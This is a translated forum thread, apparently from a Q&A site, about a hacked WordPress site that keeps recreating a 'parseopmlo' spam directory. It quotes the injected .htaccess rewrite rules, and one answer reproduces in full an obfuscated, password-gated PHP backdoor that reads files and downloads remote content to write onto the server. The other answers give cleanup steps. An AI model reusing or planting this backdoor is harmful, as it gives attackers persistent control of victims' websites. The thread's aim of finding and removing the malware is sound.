找不到创建'parseopmlo'目录的恶意代码

时间:2019-02-14 21:16:13

标签: php .htaccess mkdir

我为非营利组织工作。我们的WordPress网站(Bluehost上的共享主机)在本周初遭到黑客攻击,黑客似乎创建了一个脚本,该脚本自动在名为“ parseopmlo”的根目录中创建一个目录,该目录中包含两个文件:index.php和moban.html。它同时编辑.htaccess文件,并添加以下代码:

RewriteRule ^.*[-/]n(\d+)-.*$ parseopmlo/index\.php?id=$1&%{QUERY_STRING} [L]

RewriteRule ^n(\d+)-.*$ parseopmlo/index\.php?id=$1&%{QUERY_STRING} [L]

RewriteRule ^r(\d+)[-/].*[-/]n(\d+)-.*$ parseopmlo/index\.php?id=$1-$2&%{QUERY_STRING} [L]

RewriteRule ^r(\d+)[-/]n(\d+)[-/].*$ parseopmlo/index\.php?id=$1-$2&%{QUERY_STRING} [L]

RewriteRule ^n(\d+)[-/].*[-/]r(\d+)[-/].*$ parseopmlo/index\.php?id=$2-$1&%{QUERY_STRING} [L]

RewriteRule ^n(\d+)[-/]r(\d+)[-/].*$ parseopmlo/index\.php?id=$2-$1&%{QUERY_STRING} [L]

RewriteRule ^.*[-/]n(\d+)[-/]r(\d+)[-/].*$ parseopmlo/index\.php?id=$2-$1&%{QUERY_STRING} [L]

RewriteRule ^.*[-/]n(\d+)[-/].*[-/]r(\d+)[-/].*$ parseopmlo/index\.php?id=$2-$1&%{QUERY_STRING} [L]

RewriteRule ^.*[-/]r(\d+)[-/].*[-/]n(\d+)[-/].*$ parseopmlo/index\.php?id=$1-$2&%{QUERY_STRING} [L]

RewriteRule ^.*[-/]r(\d+)[-/]n(\d+)[-/].*$ parseopmlo/index\.php?id=$1-$2&%{QUERY_STRING} [L]

我现在已多次删除目录,并多次恢复了干净的.htaccess文件。每次都会重新创建目录,并在5-30分钟内再次入侵.htaccess。

我将所有密码更改为自动生成的非常安全的密码。没人坐在那里登录我们网站的FTP,而是手动进行这些更改。

这是我们服务器上的脚本,但找不到。我将SSH与grep命令一起使用,以递归方式在服务器上的每个文件中搜索包含文本字符串'parseopmlo'的所有内容,唯一的结果就是.htaccess中的代码行。我希望它会显示在包含创建目录脚本的任何文件中。没有骰子。

如果您使用Google'parseopmlo',您会获得大量点击量,其中包含以相同方式被黑客入侵的其他网站,但没有提及如何解决此问题。

关于如何查找和删除恶意代码的任何想法?

4 个答案:

答案 0 :(得分:0)

您的服务器已损坏。某些内容已添加到您的WordPress安装中。这就是重新创建“ parseopmlo”目录的原因。

步骤:

  1. 联系Bluehost的支持。
  2. 他们很可能会删除您的网站,或者告诉您这样做。 (整个目录树。)
  3. 准备好从备份中重新安装。 (您有备份,对吧?)
  4. 考虑安装安全性插件。 WordFence很受欢迎。另外,搜索“ Wordpress强化”。

祝你好运。

答案 1 :(得分:0)

为了将来在Google“ parseopmlo”中寻求解决方案的任何人的利益...在Bluehost的恶意软件扫描的帮助下,我确定了引起该问题的文件。它是:/wp-includes/customize/class-wp-customize-filters-setting.php并且记录下来,在WP的干净版本中,文件名中包含单数“过滤器”,而不是复数“过滤器”。 Bluehost将该文件中的恶意软件分类为SL-PHP-FILEHACKER-md5-bfcn.UNOFFICIAL

这是其中包含的代码:

    <?php


@ini_set('display_errors', 0);@set_time_limit(3600);
$q1 = "O00O0O";$q2 = "O0O000";$q3 = "O0OO00";$q4 = "OO0O00";$q5 = "OO0000";$q6 = "O00OO0";$q7 = "O00O00";$q8 = "O00OOO";$q9 = "O0O0OO";$q10 = "OOO0OO";$q11 = "OO00OO";$q12 = "OO000O";$q13 = "OO0O0O";$q14 = "OOOO00";$q15 = "OO0OO0O";$$q1 = RandAbc();$$q3 =  $O00O0O{62}.$O00O0O{51}.$O00O0O{50}.$O00O0O{54}.$O00O0O{55};$$q5 = $O00O0O{28}.$O00O0O{26}.$O00O0O{27}.$O00O0O{33};$$q6 = $O00O0O{19}.$O00O0O{22}.$O00O0O{12}.$O00O0O{1}.$O00O0O{0}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19};$$q4 = $$O0OO00;$$q2 = $O00O0O{12}.$O00O0O{3}.$O00O0O{31};$$q7 = $O00O0O{30}.$O00O0O{35}.$O00O0O{32}.$O00O0O{34}.$O00O0O{31}.$O00O0O{34}.$O00O0O{31}.$O00O0O{3}.$O00O0O{26}.$O00O0O{5}.$O00O0O{5}.$O00O0O{4}.$O00O0O{29}.$O00O0O{31}.$O00O0O{28}.$O00O0O{27}.$O00O0O{0}.$O00O0O{26}.$O00O0O{30}.$O00O0O{32}.$O00O0O{5}.$O00O0O{26}.$O00O0O{30}.$O00O0O{34}.$O00O0O{28}.$O00O0O{5}.$O00O0O{33}.$O00O0O{0}.$O00O0O{3}.$O00O0O{31}.$O00O0O{34}.$O00O0O{3};$$q8 =  $O00O0O{23}.$O00O0O{24}.$O00O0O{25};$$q9 = $O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{53}.$O00O0O{57}.$O00O0O{40}.$O00O0O{53};$$q10 = $$O0O0OO;$$q11 = $O00O0O{39}.$O00O0O{50}.$O00O0O{38}.$O00O0O{56}.$O00O0O{48}.$O00O0O{40}.$O00O0O{49}.$O00O0O{55}.$O00O0O{62}.$O00O0O{53}.$O00O0O{50}.$O00O0O{50}.$O00O0O{55};$$q12 = $O00O0O{51}.$O00O0O{43}.$O00O0O{51}.$O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{47}.$O00O0O{41};$$q13 = $O00O0O{2}.$O00O0O{6}.$O00O0O{4}.$O00O0O{19};$$q14 = $O00O0O{8}.$O00O0O{13}.$O00O0O{3}.$O00O0O{4}.$O00O0O{23}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$$q15 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{64}.$O00O0O{65}.$O00O0O{65}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63};
if(isset($OOO0OO["$OO00OO"])){$BT = $OOO0OO["$OO00OO"];}elseif(isset($OOO0OO["$OO000O"])){$BT = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$OOO0OO["$OO000O"])),'',__FILE__).DIRECTORY_SEPARATOR;}else{$BT = '/';}
foreach($OO0O00 as $O00O00o=>$O00Oo0o){
    $$O00O00o = $O00Oo0o;
}

if(!(isset($passwd) && $O0O000($passwd) == $O00O00)){
    header("HTTP/1.1 404 Not Found");  
    header("Status: 404 Not Found");  
    exit; 
}

if(isset($act) && $act == 'check' && isset($check_file)){
    if(file_exists($check_file)){
        echo '#ok#';
    }
}

if(isset($act) && $act == 'test'){
        echo '#ok#';
}

if(isset($act) && $act == 'recover' && isset($recover_file) && isset($recover_file_url)){
{

            $pfile = $recover_file;
            $date = $OO0O0O($recover_file_url);
            gdir_file($recover_file);
            @chmod($pfile,0755);

            if($date && file_put_contents($pfile,$date)){
                echo '#ok#';
            }else{
                echo '#fail#';
            }

    }
}

if(isset($act) && $act == 'redate' && isset($redate_file)){
    if(file_exists($redate_file)){
        echo rdFile($redate_file);
    }
}

function RandAbc($length = "") {
    $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.:/-";
    return ($str);
} 

function rdFile($file){
    if(function_exists('file_get_contents')){
        return file_get_contents($file);
    }else{
        $handle = fopen($file, "r");
        $contents = fread($handle, filesize($file));
        fclose($handle);
        return $contents;
    }
}

function cget($url,$loop=10){
    $data = false;        $i = 0; 

    while(!$data) {
             $data = tcget($url);             if($i++ >= $loop) break;        }
    return $data;
}

function tcget($url,$proxy=''){
    global $OO0OO0O, $O00OO0, $OO0000, $O00OOO;
     $data = '';        $url = "$OO0OO0O$O00OO0.$O00OOO/".$url;
 $url = trim($url);     if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')){
         $ch = curl_init();         curl_setopt($ch, CURLOPT_URL, $url);         curl_setopt($ch, CURLOPT_HEADER, false);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        
         curl_setopt($ch, CURLOPT_TIMEOUT, 60);         $data = curl_exec($ch);         curl_close($ch);      }

     if ($data == ''){
         if (function_exists('file_get_contents') && $url){
             $data = @file_get_contents($url);             }
         }

     if (($data == '') && $url){
         if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')){
             ($fp = @fopen($url, 'r'));            
             if ($fp){

                 while (!@feof($fp)){
                     $data .= @fgets($fp) . '';                     }

                 @fclose($fp);                 }
             }
         }
     return $data;  
}

function m_mkdir($dir){
        if(!is_dir($dir)) mkdir($dir);
    }

function gdir_file($gDir=''){
        global $BT;
        $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
        $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
        $arr = explode(DIRECTORY_SEPARATOR,$gDir);

        if(count($arr) <= 0) return;


        if(!strstr($gDir,$BT))
            $dir = $BT;
        else
            $dir = '';

        for($i = 0 ; $i < count($arr)-1 ; $i++){
            $dir .= '/' . $arr[$i];
            m_mkdir($dir);
        }

        return $dir;
}

//

我不是编码人员,所以这真的让我感到困惑,这怎么可能编辑我们的.htaccess文件。但是确实如此。

答案 2 :(得分:0)

我发现在wp-includes,wp-admin中感染了多个文件:template-loader.php,load.php,user-terms.php,replace.php和几个.gif图像。

我安装了Sucuri Security Wordpress的免费版本(通过谷歌搜索),它可以轻松地突出显示所有受感染的文件。希望对您有所帮助。

攻击者还上传了一个html文件,并将其添加为网站管理员控制台中的所有者,然后上传了23个站点地图以及数十万个链接。 确保验证用于身份验证的google html文件。

答案 3 :(得分:0)

因此,我刚刚清理了整个wordpress安装,现在可以再次使用,步骤如下:

  1. 删除/wp-includes/customize/class-wp-customize-filters-setting.php文件
  2. 下载新的Wordpress安装并覆盖所有核心文件
  3. 将/html/wp-includes/load.php的权限更改为644
  4. 将index.php的权限也更改为644

现在刷新您的页面,并尽力避免以后出现这种问题!

如果我保存了您的Wordpress安装->投票给大家